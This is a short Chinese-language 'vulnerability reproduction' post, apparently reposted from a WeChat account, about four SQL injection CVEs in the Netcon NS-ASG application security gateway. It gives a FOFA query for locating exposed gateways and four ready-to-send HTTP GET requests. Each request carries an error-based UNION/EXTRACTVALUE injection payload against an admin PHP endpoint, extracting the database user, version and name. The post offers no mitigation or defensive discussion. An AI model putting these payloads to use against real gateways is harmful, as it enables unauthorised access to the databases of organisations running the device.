漏洞描述
网康科技NS-ASG应用安全网关存在SQL注入漏洞(CVE-2024-3458、CVE-2024-3457、CVE-2024-3456、CVE-2024-3455)，接口分别为：add_ikev2.php、config_ISCGroupNoCache.php、config_Anticrack.php、add_postlogin.php
资产测绘
FOFA：app="网康科技-NS-ASG安全网关"
漏洞复现
CVE-2024-3458
| GET /admin/add_ikev2.php?TunnelId=1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(1)),0x7e)) HTTP/1.1
Host: User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36 Accept-Charset: utf-8 Accept-Encoding: gzip, deflate Connection: close |
CVE-2024-3457
| GET /admin/config_ISCGroupNoCache.php?GroupId=1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+user()),0x7e)) HTTP/1.1
Host: User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36 Accept-Charset: utf-8 Accept-Encoding: gzip, deflate Connection: close |
CVE-2024-3456
| GET /admin/config_Anticrack.php?GroupId=1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+version()),0x7e)) HTTP/1.1
Host: User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36 Accept-Charset: utf-8 Accept-Encoding: gzip, deflate Connection: close |
CVE-2024-3455
| GET /admin/add_postlogin.php?SingleLoginId=1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+database()),0x7e)) HTTP/1.1
Host: User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36 Accept-Charset: utf-8 Accept-Encoding: gzip, deflate Connection: close |
原文始发于微信公众号（漏洞文库）：【漏洞复现】网康科技NS-ASG应用安全网关存在SQL注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论